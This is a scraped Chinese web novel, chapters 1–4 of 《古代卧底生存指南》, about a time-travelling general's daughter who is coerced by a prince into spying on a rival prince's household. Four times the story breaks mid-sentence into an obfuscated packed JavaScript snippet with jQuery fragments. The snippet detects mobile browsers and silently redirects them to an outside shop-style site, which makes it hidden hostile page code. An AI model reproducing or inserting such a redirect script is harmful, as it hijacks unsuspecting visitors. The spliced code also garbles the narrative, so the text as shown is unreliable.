《古代卧底生存指南》 1. 序 长平之战 陇西长平郡。 北风呼啸，席卷大团的雪花在空中飞舞回旋，又重重砸向地面。天地连为灰白一片，除了远处轻描淡写的群山，便只余肆虐的风声。 一阵急促的马蹄声由远及近，紧接着一抹刺眼的红撕开天幕，裹挟着飞扬的雪泥，疾驰而来。 “报——嘉定关有变，季将军率半数守军出关，似往云中郡方向进发！”几成雪人的士兵顾不上拍打周身的雪片，急急跪下报道。 为首的年轻将领面色变了变，此次突厥进攻一改往日抢掠之风，攻势之猛规模之大竟让他们措手不及。 先前的对策约定，前守关、后防城，此时季将军忽然变卦，莫非云中郡有异？ 得去前面探探。 叶望心中砰砰直跳，扫了一圈将士的面容，皆露凝重之色。 他整了整衣襟，以长刀钝地，任凭狂风卷起披风，扬声道：“诸位，大战在即，最忌猜疑。今突厥之势靡杂，随时生变，现下云中有异，而前关空虚，情况危急。” “长林军听令！轻骑四十二人，有志者随我赴嘉定关增援！” 霎时四十余人出列，“将军是大周的血脉，且留后方，让尔等前去！”众人齐跪道。 “我是兵，战场上，不分高低贵贱。嘉定关群龙无首，光你们去有何用？”叶望一个翻身骑上马，“留下的听从卫羽指令，其余人，跟我走。” 待到嘉定关，同守兵确认云中郡有变，叶望的心才稍稍放下，决定按兵不动，先派人打探季将军的消息。 高耸的城楼上远眺，是死一般的空寂。时间一天天流逝，没有突厥的踪影，亦没有季将军的消息。空气中生出不安的气息，不详的预感愈演愈烈。 叶望永远不会忘记那个清晨，在一成不变的灰蒙天际，终于出现一个红点，如朝阳徐徐升起，近了近了，却见鲜血淋漓的斥候失魂落魄而来。 “死了，都死了。” “你说什么？什么都死了？”叶望愣愣问道。 “云中郡失守，朝廷说将军谋反，杀了将军，弟兄们也都死了。”士兵再也忍不住，嚎啕大哭。 叶望的耳边嗡嗡作响，谋反？怎么可能？季将军怎么可能是这种人？ 明明战前约好年关回京，明明他还挂念京城的妻女，明明他守正自持，明明他一手将他培养成独当一面的将士。 天地开始倒转，叶望听见心中有些东西轰然倒塌了，他重重跌坐在地。 ——— 长平的大雪持续得意外之久，久到人忘记了时间。 残破的嘉定关城楼下，密密麻麻的箭矢杂乱插着，层层叠叠的尸体横七竖八地躺在雪地里，血水凝固成红色的冰河。远处，突厥的营地升起袅袅孤烟。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705541|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 粮没有了，箭矢也将尽，另一波突厥绕至长平郡侧攻城，也不知卫羽那边情况如何。叶望靠在城楼的墙壁下，抹了把脸：“援军还未到吗？” 斥候上前：“朔方已派增援，约莫七日内到，许是路上遇事耽搁，将军再等等。” 叶望苦笑，等，又是等。突厥会等吗，将士的命能等吗？ 坐以待毙不是他的风格，他决定破釜沉舟，做最后一搏。 傍晚，他召集十余精兵组成小队，在夜色的掩映下悄悄潜入敌营。 最后的机会了，众人都谨慎异常，解决了大营的守兵，正欲入帐斩杀可汗，忽得喊杀声震天，篝火云集。 “杀掉领头紫衣，取其人头者重赏！”突厥听了此令，蜂拥而上，叶望瞬时被包围。他拼死抵抗，想冲出包围圈，赶来支援的士兵纷纷死于乱刀下。 “别管我，跑！”叶望目眦尽裂，猛一震刀，一排突厥应声而倒。正欲驱马从缺口突破，一支淬毒的利箭飞来，直直插入左肩。 他一个踉跄，自马上跌落。 好大的雪，好冷，打在脸上生疼，他恍惚想起儿时长安宫城的大雪，伴随着欢呼声纷扬而下，一时间宫廷各处便多了许多形态各异的雪人。 可惜回不去了。 叶望的意识逐渐模糊，在他合眼的前一刻，一支装戴整齐的周军冲入了营地。 2. 逃亡 穷冬时节，罕见地下了场大雨，撕开天幕，倾盆而下。 几排矮小简陋的草屋紧密排列着，在瓢泼大雨中相互依偎。放眼望去，长安城已模糊不见踪影，只能通过连绵的终南山脉，依稀辨出点方位。 天地颠倒不清，震耳欲聋的雨声中，是一整片乌沉沉的黑。 一户人家的草垛后，伏着一个小小的黑影。 “呼。”季辞秋靠着草垛，小心翼翼地探头看了看，而后重重地喘了口气。 到现在为止，她还是很懵，明明上一秒还坐在书桌前熬夜赶ddl，下一秒就来到了这里。还没搞清楚情况，忽然几个卫兵大叫着向她扑来，她本能地拔腿就跑，东躲西藏，这才惊险脱身。 肩背上的伤粘连着衣物，被雨水冲刷后开始溃烂，浑身湿透，不受控制地打着寒战。 她狠狠掐了自己一把，很痛，不是在做梦。 这是什么鬼地方，不会要死在这里吧？季辞秋摸了摸滚烫的额头，绝望地想。 她闭目打算恢复些体力，脑中却浮现出一些陌生的场景。 这是……她心中惊异。 这具身体主人的记忆？ 她意识到什么，犹如抓住救命稻草，连忙静坐冥想。过了许久，她回过神来，心中却似压了重石。 没错，她穿越了。穿越到了周朝，目前身份是一名在逃的罪臣之女。 季辞秋努力回想了历史，周朝绵延百年而不绝，是当之无愧的鼎盛王朝。只是她目前所处的周高宗时期，似乎不太一样。 周高宗，世称周景帝，年号天凤。现存的历史记载中，天凤的二十七年间，除了早期的卫边战争，剩下的便是混乱的夺嫡之争。景帝稳坐皇位，纵容争斗，后期沉迷仙法，致使礼崩乐坏，纲纪紊乱，外敌蠢蠢欲动，差点覆灭了大周王朝。 季辞秋很想哭，这与她幻想中的穿越很不一样。本以为穿越后可以纵情山水、体验古代风土人情，现实却是顶着满身的伤，半死不活地躺在泥地上。 不过也不全是坏消息，好消息是原身作为将门之后，有一身武功。在这样一个不太平的年代，是可以保命的本事。 “往这个方向跑了！给我仔细搜！”一声吼叫打破了寂静。 季辞秋猛地直起身，看到一群披着蓑衣的卫兵提着灯挨家挨户地搜查。 “开门！”领头人粗暴地拍着院门，“有没有看到一个黑衣女贼？” 季辞秋的心提到了嗓子眼，她努力伏低身子，紧紧盯着。 那老汉撑着伞，茫然摇头道：“都睡着呢，没有看到什么女贼。” 领头哼了一声，有些狐疑地朝里望了望。 “走！继续搜。”他大手一挥，闷头往前走，忽得顿住了脚步，“等等。” 推门入院，是几堆巨大的草垛。不知为何，他心中有种强烈的预感，牵引着他往前探究。 雨水重重落下，砸在地上，像是人走动的声音。几名卫兵成包围状，屏声静气，缓缓靠近草垛。 草垛后隐隐现出一块黑布，领头心中一喜，拎起长刀猛地刺过去。 哗啦一声，刀刃穿过草结，扑了个空。众人上前一看，是块割裂的破布，缀着点点干涸的血迹。 忽然，井栏后斜斜飞出个黑影，几步跨出院门，往外逃窜。 “在那里！”卫兵大叫。 领头嘴角露出一丝邪笑：“给我追！她身上受了伤，跑不了多远。” 季辞秋在大雨中穿梭，茫茫的雨幕下，漆黑一片，一时辨不清方向。 身后的脚步声越来越近，她来不及思考，拼命往前跑。 到了一棵榕树下，她忽得顿住。再往前，应是出村了。村子外，便是一望无垠的田野，难以躲藏。 她连忙折返，欲走另一条道。可追兵似乎看透了她的心思，封堵住了出路，步步紧逼。 季辞秋心中恶寒，看来他们早有预谋。 横竖没有别的法子，只能硬着头皮赌一把。 她深吸一口气，循着身体的惯性，脚尖点地，飞身跃上了砖墙。 成功了，她暗呼，猫着腰顺着墙沿走。站在墙上，可以看到村外的土道。已是深夜，又逢大雨，路上人烟稀少，一览无遗。 季辞秋心中沉了沉，正欲寻别的路子，一阵车辙声自远处响起。她猛地抬头，见一架马车冲破雨幕，疾驰而来。 “在那里！”卫兵看见了墙上的身影，扬声道。 眼见追兵将至，来不及多想，她脚尖聚力，纵身跃下，一脚踏上轿顶。马车剧烈地摇晃了一下，季辞秋抓住窗牖，借着摇摆的幅度猛地荡入轿内。 “别出声。”她一把劫持住轿内的人，用刀尖抵着他的喉咙道。 卫兵已然紧随其后追了上来，广袤的田地上，赫然停着一架四乘马车，马匹系五彩毛毡腹带颈带，车舆金辂漆身，格外显眼。 “不良人奉命追捕逃犯，请阁下配合。”领头瞥了一眼装饰繁复的伞盖，不知来人身份，谨慎道。 “王爷？”成影握紧缰绳，不敢轻举妄动，侧头看向车舆。 车内，叶玄因着挟持被迫仰着头，他缓缓移动手指，自袖中摸出一根银针。 “照我说的做，我不伤你。”季辞秋紧张地盯着车幔，低声道。 雨势渐小，月光透过云层撒下来，车内亮了些。 叶玄微微侧头，看到她的脸时，举在半空的手忽得一顿。 “要我做何？”他悄悄将银针收回，正襟危坐道。 “带我离开这里。”季辞秋强撑着精神，沉声道。 叶玄嘴角露出一丝不易察觉地笑，他稳了稳神，对着车外道：“无事，怎么不走了？” “方才一黑衣女贼往此方向跑了，阁下可曾见过？”领头扬声道。 “黑衣女贼？未曾。” 领头将信将疑，车舆的纱罗飘动，隐隐带出一股淡淡的血腥气。他心中一动：“此女乃是朝廷重犯之女，请阁下配合搜查。”说着便要掀帘。 “放肆，”成影怒喝道，“三殿下在此，你敢不敬？” 领头听到三殿下，身子一震，手悻悻收回：“不敢。” “王爷有伤在身，尔等在此拦轿，误了医治的时机，拿你们试问。”成影震声道。 有伤在身？这便说得通了，领头闻此，连忙跪身赔罪：“下官冒犯，奈何职责在身，还请殿下通融。” “这么大阵仗，抓得谁呀？”车内悠悠传来一个声音。 “反贼季恪之女。” “哟，那可得上点心。”叶玄懒懒道，“你这么说本王倒是想起来，方才那边的御麦地里似乎有点动静。” 领头猛地扭头看了眼：“多谢殿下。我们走！” 一行人风风火火地离开。 季辞秋心中却未放松丝毫，方才她听了他们的对话，才得知自己劫持的这位竟是三皇子叶玄。 劫持皇子，几条命也不够死啊。她后背冒汗，手越收越紧。 “他们走了，是不是可以放开本王了。”叶玄见她未动，出声提醒道。 季辞秋回神，愣愣放开勒着叶玄脖颈的臂膀，另一只拿刀的手却仍举在半空：“这是往哪走？” “回长安啊。”叶玄道。 季辞秋闻言，重新勒住叶玄：“我不回京。” 叶玄嗤笑一声：“不回京，去哪？广陵？” “现下京中的不良人都知你要去老家广陵，千里迢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705542|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迢，你躲得了一时，躲得了一世吗？” 季辞秋抿了抿唇，没有出声。 “跟本王谈个交易，本王护你周全，如何？” “什么交易？”季辞秋猛一抬头，正欲追问，眼前一阵眩晕。她低头看了看，一根银针不知何时扎入了她的小臂。 “你......”季辞秋心中大骇，挣扎着起身，终是抵挡不住，晕了过去。 “成影，把那些人解决了，处理得干净些，别露了破绽。”叶玄掸了掸手。 “王爷，会不会惊了圣人？”成影有些迟疑。 “本王此番隐秘出行，他们既已看到，便活不成。”叶玄淡淡道，“城郊多匪盗，不良人不察被抢，无人幸免。” “是。”成影隐入黑暗。 —— 长安城东南，曲江池。正月已过，芙蓉苑内却歌舞升平、锦绣连城。 曲江池的碧水仍未完全解冻，细碎的浮冰在日光的照射下熠熠生辉，如镶钻珠宝。围池一圈，摆着金丝楠木宴桌，雕花玉石器皿上，呈满糕点佳肴。金鼓齐鸣，铜乐声声，百官身着朝服、腰佩玉带，陆续落座。 景帝身着龙袍，高坐正中。背后一扇云母珐琅屏风，群龙盘绕，云雾飘渺，风仪严峻。他心情极好，与一众大臣微笑攀谈着。 今日曲江宴，是为庆祝长平一战胜利，长林军凯旋。 礼乐奏起，为首的左仆射任经恒起身，举杯恭敬道：“皇恩浩荡，泽被苍生。长平一役有惊无险，臣这一杯，敬陛下文武全才，盛德如春。” “敬陛下文武全才，盛德如春。”众臣齐道，而后一饮而尽。 任经恒又斟一杯，道：“这一杯，敬长林军骁勇善战，万夫莫当。” 卫羽起身迎酒，心中沉重异常。长平一役，他在后方拼死守城，好不容易等来了援军，却得知将军重伤昏迷的消息。现如今将军生死未卜，朝廷迫不及待地开了庆功宴，是为哪般？ 他心里五味杂陈，又不好伸张，只能强颜欢笑。 长林军的其他士兵没有这个能耐，一壮汉哗得举杯站起：“陛下，俺是个粗人，贱命一条，这辈子能见陛下一面，值了。可现今将军是生是死都不知，俺们这些做部下的在这喝酒玩乐，心里实在难受。” “是啊，是啊。”众士兵纷纷附和。场面一时混乱。 右仆射陆定年笑了笑，道：“长平一战非一人之功，陛下此时开宴，是为体恤众士。众勇士的心情臣理解，但大可不必忧心，定是请医术精湛的太医医治，还请各位勇士放心。” “老五作战有功，待他醒来，朕自会重赏。”景帝不紧不慢道。 见陛下言至此，众人不好再说什么，遂埋头吃酒。 长安城的另一头，光化门。一架简陋的马车踏过低洼，泥水四溅，引起阵阵嫌恶声。 “何人？”监门将军上前拦住。 “晋王殿下急需医治，速速放行。”前头身披盔甲的驾车人急急道。 监门将军走近，掀开车帘，一股浓烈的血腥气扑面而来，熏得他有些作呕。 他强忍着不适，往里看去。车舆中静静躺着一面色苍白的男子，左肩处的伤口皮肉外翻、深可见骨，周围的皮肤呈现出怪异的紫黑色，已经开始糜烂。 “何以证明身份？” 葵生一愣，忽得想起什么，自包中翻出一枚铭文虎符：“殿下领兵作战所用。” 监门将军接过，仔细看了看，而后恭敬地交回葵生手里。 “放行。”他扬声道。 马车飞驰而过，卷起一阵尘烟，很快消散。 监门将军站在原地发愣，心有余悸。 那样重的伤，也不知能不能活？ 3. 入府 季辞秋再次醒来时，已是三日后。她迷迷糊糊睁开眼，待看清上方层层叠叠的帷帐，猛地爬起身。 “你醒了。”一侍女装扮的女子细声道。 “这是哪里？”季辞秋头痛欲裂，发现身上的伤竟开始愈合。 “齐王府。”女子答道。 齐王府？那便是......三皇子叶玄的府邸。季辞秋想起来了，那晚叶玄在她臂上插了根银针，令她昏了过去。昏迷之前，说要与她谈个交易。 思及此，她下了床：“我要见三殿下。” “王爷去宫里了，要等些时日。”女子没有停下手中的动作，“奴来伺候姑娘梳洗。” 她拿了一件丹青黄缎襦裙走来，开始给季辞秋更衣。 季辞秋任由侍女摆弄着，有些不自在，遂看向铜镜。 镜中的女子有一双秋水般明澈的眸子，秀挺的翘鼻，朱唇皓齿，两颊粉若桃花。她不由自主地摸了摸脸。 “姑娘真是有趣，怎得跟第一次见自己的容貌一般。”侍女笑着调侃。 季辞秋收回手，讪讪笑了笑。 没过多久，叶玄回了府。 季辞秋跟着小厮七环八绕，进了一方精致的小院。正堂坐着一位着鸦青色广袖锦袍，头束象牙白玉冠的公子。 “王爷，人来了。” 那人正摩梭指尖的玉扳指，闻言缓缓抬头。那晚夜色太暗，季辞秋没留心他的长相，这时才见了真容。 这是一双与当今圣上极为相似的锐利凤眼，鹰钩鼻、削薄唇，龙眉凤目中隐隐有股阴寒之气。 “季姑娘醒了，”叶玄薄唇轻启，“感觉如何？” “挺好，”季辞秋含糊应道，“殿下那日说的交易，还未言明。” 叶玄没曾想她问得这样直接，笑了笑：“季姑娘着急得很？” “小女何德何能，殿下这般救我，”季辞秋闷声道，“若不弄清，实令人诚惶诚恐、寝食难安。” 叶玄懒懒往后靠了靠：“近日晋王回京，府里招收下人。本王看你眼明手捷，送你去晋王府做事，保你周全，如何？” 晋王府？季辞秋愣了愣。 “小女现今这模样，怕是早已张贴在告示上。”她迟疑道。 “无碍，绿蔓会给你易容。”叶玄毫不在意，“还有，你常年练功，手上有茧，做侍女不妥，扮作男子好些。” “这......”季辞秋有些摸不着头脑，让他去晋王府做事，为何？她想起贯穿周高宗时期始终的皇位之争，照叶玄的意思，是要她卧底到晋王府上？ 只是，他就这样信任她？季辞秋看了一眼叶玄。 叶玄见她犹豫，面上浮起一丝嘲弄：“本王从不勉强，季姑娘若是不愿，可自行离开。” “只是这行踪，本王可不保证会不会透露给不良人了。” 赤裸裸的威胁，她有得选吗？季辞秋抿了抿唇，伏首道：“全听殿下安排。” —— 季辞秋着一身粗布衣裳，身背包袱，入了崇仁坊。 “听说了吗，这晋王殿下自从回京后，一直闷在府里不出。” “不是说伤得极重？这么些天了，也不知是生是死。” “那这招揽下人，谁愿去啊。说句冒犯的，若是没救得回来，府一散，还得另谋下家。”两个同样着粗布衣裳的男子小声议论道。 季辞秋越过他们，往晋王府走。门口的牙婆见着她，远远地招手。 她连忙迎上去。 “黎叔，这便是我同你说的那人。”牙婆叫了声在一旁忙碌的中年男子。 “你好，鄙人白轩，先前在一商贾家当差。”季辞秋主动道。 黎叔正躬身帮忙推着板车，闻言直起身，上下打量了她一番。 季辞秋不自觉挺了挺身板，竟有些面试般的紧张。 “这小身板，也好意思当差。”另一牙子在一旁撇嘴不屑，他拉过一壮汉道，“瞧我这个如何？保有力的。” 那壮汉背如磐石，一只小臂有季辞秋的小腿粗，两人站在一块儿，明眼人都知选哪个。 “黎叔，我这可以给你出个好价钱。”牙婆眼见情势不妙，瞅着他的脸色，见缝插针道，“折半，三千文如何？” 这价格已不是实惠，颇有点亏本的意思。壮汉听此，更加轻蔑，他淬了一口，用肩膀狠狠撞了季辞秋一下。 本以为他会应声倒地，没曾想那豆芽竟稳稳当当地立在原地，晃都没晃。 壮汉愣了愣，不信邪地又撞了几下，依旧纹丝不动。他气急败坏起来，抡起拳头欲砸季辞秋的脸。眼见就要结结实实地打中，拳头忽然停在半空。 侧头望去，季辞秋一只手稳稳抓着壮汉的手肘，而后用力往外一甩。壮汉被这力道带得往后踉跄了几步，“他奶奶的。”他口中骂道，面目狰狞地扑上前欲拼个你死我活，哪知季辞秋横空一个飞踢，壮汉毫无防备，被踹翻在地。 其他三人目瞪口呆地看完了全程，牙婆咽了咽口水，心中悔恨不已，方才作什么贱压那样狠的价！这样的好苗抬一抬起码能卖上七千。 “嘿，弄错了，方才说的三千文不是这个。这个要八千。”牙婆找补道，“你若诚心想要…” 她伸手比了个七：“七千文，交个朋友。” 壮汉躺在地上，挣扎了几番，被季辞秋压制，没起得来。 黎叔点点头：“收了吧。” 就这样，季辞秋花了七千文把自己卖了，成了晋王府的一名车夫。作为男仆，她与一众小厮，住在垂花门外的倒座房。 忙活了一天，待到人定，季辞秋歇了下来。她躺在床上，这才有功夫细细回忆历史。 作为一名理科生，她对历史的认知大多来自多年前的历史课以及课外闲暇时看的几本历史读物，此时才深觉书到用时方恨少的道理。对于天凤年，一些细节她已有些模糊，暂时能回忆起的便只有大致的走向。 现今是天凤二十三年，太子早逝，储君之位空置，宫廷暗流涌动，一场权力之争正悄悄酝酿。 参与皇位之争的有三大势力，三皇子叶玄、五皇子叶望以及有母族支撑的九皇子叶朗。 季辞秋机缘巧合碰见了叶玄，在他的胁迫下卧底到叶望府上，稀里糊涂地与其中两位皇子产生了联结。 不巧的是，这两位皇子在历史上的风评似乎都不太好。一个阴险狡诈、私勾外敌，在天凤末年服罪而终，另一个荒淫无度、花天酒地，于昭宁一年因病早逝。 唯一的九皇子叶朗，最终继承皇位，凭一己之力挽周朝大厦于将倾，开创了昭宁盛世，是历史上百世流芳的千古明君。 若是有机会一览风姿便好了，季辞秋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705543|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想。 她心中暗骂自己运气之差，好的没机会见，坏的倒全沾上了。无论跟着叶玄还是叶望，似乎结局都不太好，她有些颓丧地想。 算了，走一步看一步吧。 —— 冬季将尽，夜里仍是凉得刺骨。一身负木匣的男子在提灯小厮的指引下，一边搓手哈气一边操着小碎步迈入晋王府。 “太医，如何？”屋内烛火昏暗，映出黎叔脸上担忧的神色。 “殿下的箭伤着实惊险，若是向左再偏一厘，怕是华佗在世也无力回天。且这箭并非普通的箭矢，其上淬了乌头，臣用了些甘草将将止了毒素蔓延。” 太医皱眉把着脉，啧了一声又换另一边，喃喃道：“虽止了乌头扩散，但耽搁的时日久了些，毒已侵至血脉。这左臂，许是保不住了。” 黎叔闻言，扑通一声跪下道：“太医您也知道，王爷是习武之人，习武之人断臂如削七分魂，老奴恳请您再想想，可还有别的方子？” “办法也不是没有，只是……”太医有些为难，“听过阿芙蓉吗？此物主百病中恶，客忤邪气，止痢止痛行气之效尤胜。然其弊亦大，极易成瘾，不可长用。” “殿下这毒，非以年不可解，若用此法致殿下染瘾，臣万死难辞。” 黎叔听此犯了难，眼下只有两条路，各有各的凶险，王爷不省人事无法做主，只能他来选择。他看了看叶望的左臂，咬了咬牙。横竖成瘾需日积月累，先保住身体再说。 “用阿芙蓉吧。”他握了握拳头道。 一番望闻问切后，黎叔千恩万谢地将太医送出了门：“太医可知王爷几时能醒？” “殿下这伤，少说半个月，长则不可期。不过臣用了最好的方子，效用应会更好。” 黎叔连连点头，屋内叶望紧闭着眼闷咳了几声，他连忙跑进去。 太医立在院中，看着老汉弓着腰忙碌的身影，微不可闻地叹了口气。其实并非仅有两副方子，而是上奏时，圣人特意点了这两副。 伤成这样，保了性命已是不易，还得受这等折磨，帝王之家真是深不可测呐。罢了，今后上点心，多用几味好药吧。 玉轮移至半空，稀稀疏疏的月光撒在中庭，细碎如银雪。他提上药匣，深一脚浅一脚，踏着一地的寒气离开了。 —— 日子如流水般过着，季辞秋每日除了做府内的事，剩下的时间都在偷摸地练武。 府内小厮众多，不使人察觉很难。季辞秋找了许久，总算找到了一块隐蔽的空地。这空地在倒座房与垂花门之间的马厩后，本是作仓储所用，但因府内久无人住逐渐荒废，通往仓储的角门也上了锁。 这日一大早，季辞秋像往常一样来练武。她眼瞅着四下无人，小跑几步跃上了仓储的围墙。正要往下跳，忽得瞥见王府后院正中站着一人。 那人着一袭素白色中衣，侧身与黎叔说话，因隔着远，五官看不太清，只依稀看见白得近无血色的皮肤和棱角分明的轮廓。 这是…那个生死不明的晋王？季辞秋心中一动。这么些天，他竟已醒过来了？ 她不敢在墙上久留，猫着身子跳了下去。 府内另一边的围墙上，一身着劲装的少年双手抱胸，懒洋洋地靠着屋脊。看着季辞秋跃下，他吐掉口中的草茎，脚尖聚力，轻飘飘地落到地上。 4. 芸娘 早春时节，硕大的长安城经过一冬的蛰伏从睡梦中苏醒，喧嚣声渐起。各色商贩张罗着摊位，茶坊、酒肆中的人络绎不绝，这其中赫赫有名的当属“长安第一酒楼”——千秋阁。 “谢小爷捧场！”一位身着布满金铃的艳丽戏服、头戴锦缎小帽的耍猴人弓腰拾着看客投来的绢布，身后的小猴也跟着频频鞠躬，引得众人发笑喝彩。 此刻坐在千秋阁中候着的季辞秋正百无聊赖地盯着门口的人群出神。 不知不觉，这已是她穿越过来的第三十三天。这些天，晋王逐渐恢复过来，伤一好便混迹于长安城的各大青楼楚馆，倒是与史书中的评述如出一辙。 “官人！之前……可还算数”，一阵嘈杂从千秋阁二楼的雅间传来，打断了季辞秋的思绪。 她随着众人朝二楼看去，兴许是近来头牌曲怜儿回乡探亲，今日的千秋阁相比于往日冷清了些，二楼隔间的声音竟也能听见。 楼上人似乎也意识到了这点，女子的声音渐弱，听不太真切了，她索性继续看向门外。 这时，邻桌一位书生模样穿素白袍的客官神秘兮兮地与同行道：“你可知今儿这楼上有哪位贵客？” “哪位？”青袍男抿了一口酒。 “当今圣上的五皇子，晋王殿下。” “哦？这晋王是先前领兵打仗的那位吗？” “正是，据说他是这儿的常客，二楼最里头那间就是专为他留的。说来也怪，这晋王自从陇西恶战突厥而归后，大病一场，醒来性情大变。过去酒色不沾，如今却是愈发沉迷，也不再领兵了。坊间都说晋王是被突厥打怕了，也有人说是因那反贼季恪的缘故……不过这意气风发的少年郎堕落成如今模样，当真是可惜。”白袍书生挑了挑眉。 “有何可惜，我要是这般出身，也能寻个鲜衣怒马的少年将军当当。”青袍不以为意，“依我看，未必这般复杂。军营太苦，好不容易回趟长安，见如此繁华，自然就醉倒温柔乡喽。” “说到这个，我还听说这千秋阁头牌曲怜儿与晋王的关系颇为不一般。如此美人在怀，晋王当真是好福气。”白袍酸溜溜道。 青袍深表赞同，二人有一搭没一搭地开始意|淫。 季辞秋撇了撇嘴，不再听。 忽地，二楼的动静更大了一些，紧接着一位面容姣好的女子含泪夺门而出。众人还未来得及反应，便见其攀上了二楼横梁，摇摇欲坠。 楼下的人躁动起来，一位头戴翡翠发饰，衣着华丽的婆姨紧跟着跑出来，绷着脸道：“芸娘，别犯傻，有话好好说！况且你现在是一尸两命，你不为自己着想，也要为你肚里的孩子着想！” 那位芸娘流着泪，紧紧抱着横梁，似是也很害怕：“妈妈，你……让他出来，我要在这朗朗乾坤下说，让大伙儿评评理。” “芸娘！适可而止。”老鸨的脸色很难看，低声喝道。 正僵持着，二楼雅间的门忽然打开，一道男声响起，“不必如此麻烦，我出来便是。” 众人循着声音望去，皆是倒吸了一口气。 缓缓而出的男子身穿一件赤绾色直襟长袍，腰束玄色祥云宽边锦带，乌黑的头发松垮束起，无冠固定，一派风流蕴藉。剑眉斜飞入鬓，星目中淬着夜一般的黑，纵使带着放浪笑意，仍不怒自威。 静默了片刻，那芸娘抽泣道：“官人，妾知身份卑贱，从未有非分之想。纵有身孕也极力隐瞒，今日被妈妈发现，便要将妾赶走。妾无依无靠，这一出去便是送死，走投无路才来投奔官人。妾不要名分，只求官人给一条生路。可现今官人翻脸不认，妾有冤要诉啊！” 众人听罢，俱是可怜芸娘的悲惨遭遇，又迫于那人的威赫，只敢窃窃私语。 但男子似乎毫不在意，他扬着一张无辜的脸，笑意更深：“芸姑娘，我虽常在花丛中，可真没碰过你啊，这没做的事偏生说我做过，我也有冤要诉。” “官人那日酒醉得厉害，醒来便什么都不记得了，怎能确认没有碰过妾！如今妾肚子大了，便翻脸不认，一尸两命，与侩子手有何区别！” “芸娘，不要再说了！”一旁的老鸨脸色更黑了，“你可知这贵客是谁？”说罢小心瞅了一眼贵客的脸色，才斗胆道：“是晋王殿下！” 众人一片哗然，纷纷闭了嘴。 “你清不清白先不论，但你肚中的孩子若有假，那便是欺君之罪，要掉脑袋的！你想好了再说！” 横梁上的芸娘瑟缩了一下，心一横：“妾发誓，妾说的句句属实，倘若有假，妾甘愿受罚。” 晋王把玩着手里的折扇：“可本王听说，你那广陵的老相好似乎前段时间来京城找你，现今已经回去了。他找你何事，你可愿说说。” 芸娘咬了咬嘴唇，神情哀切道：“妾在广陵老家有一小妹，最近离人世了，他来告知我的。” 旁听的众人没成想事情竟越聊越复杂，也不敢吭声，一时间大堂落针可闻。 “你，暂时不要赶她出去。”晋王似是累了，指了指那老鸨，“本王自会查清，把她先弄下来吧。”说罢转身回了屋。 挂在横梁的芸娘快要支撑不住，见人来救，竟也乖乖地从梁上下来。一场闹剧结束得太快，吃瓜的众人都面面相觑。 “搞什么名堂？”白袍男小声说道。 那青袍也甚是无聊：“这晋王未免也太无担当了，一个青楼女子，管她孩子是不是自己的，收回府不就好了，晋王府那么大又不差个位置。搞这么一出，和女子较真，这皇家面子上都难看。” 白袍听这话吓了一跳，赶忙捂青袍的嘴：“哎呦我的爷，你可少说点吧。天家的事儿哪是我们能议论的。”说罢饮完最后一口酒，拉着他不省事的爷找小二结账去了。 人群对于八卦的兴趣自古以来都颇为热情高涨。 本着法不责众的原则，不出几个时辰，这则融合千秋阁、皇子、身孕关键词的闹剧以极快的速度在长安城的市井传开。 在流传的过程中，还添油加醋进了曲怜儿与晋王的爱恨情仇。茶馆里的说书先生也及时改编推出了新话本，皇子与两位青楼女子的香艳故事，场场座无虚席。 这般声势浩大，自然也传入了太极宫中。 次日，众皇子例行晨省后，刚刚落座，便听景帝撂袍随意道：“朕听闻近来有关大周皇家的话本在民间流传甚广，可有人知道是怎么回事？” 座下的皇子大多年幼，其中就属三皇子叶玄和五皇子叶望年长，叶玄上前一步：“回父皇，确有此事，臣略微打听了一下，似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705544|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是一桩与小五有关的误会。” “老五，你来说说是怎么回事。” 叶望离座，行跪拜礼：“儿臣有罪，近日与一青楼女子牵连，那女子有孕在身，执意说生父是臣。臣否认，这才起了争执。” 景帝没抬眼，老五自从伤势恢复，便整日沉迷声色犬马，虽说这是他希望看到的，但太过未免影响不好：“那孩子果真不是你的？” 